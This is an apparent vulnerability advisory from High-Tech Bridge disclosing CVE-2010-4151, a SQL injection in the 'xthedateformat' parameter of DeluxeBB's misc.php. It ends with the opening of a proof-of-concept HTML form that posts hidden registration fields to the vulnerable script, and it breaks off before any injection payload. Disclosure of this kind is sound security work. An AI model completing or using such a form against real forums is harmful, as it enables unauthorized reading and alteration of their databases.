Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DeluxeBB which could be exploited to execute arbitrary SQL commands in application`s database.

1) SQL injection vulnerability in DeluxeBB: CVE-2010-4151
An input validation error exists in the "xthedateformat" parameter in /deluxebb/misc.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database but requires "magic_quotes_gpc" to be disabled.

<form action="http://deluxebb/misc.php?sub=register" method="post" name="main" >
<input type="hidden" name="name" value="pentester" />
<input type="hidden" name="pass" value="pentester" />
<input type="hidden" name="pass2" value="pentester" />
<input type="hidden" name="email" value="pentester@htbridge.ch" />
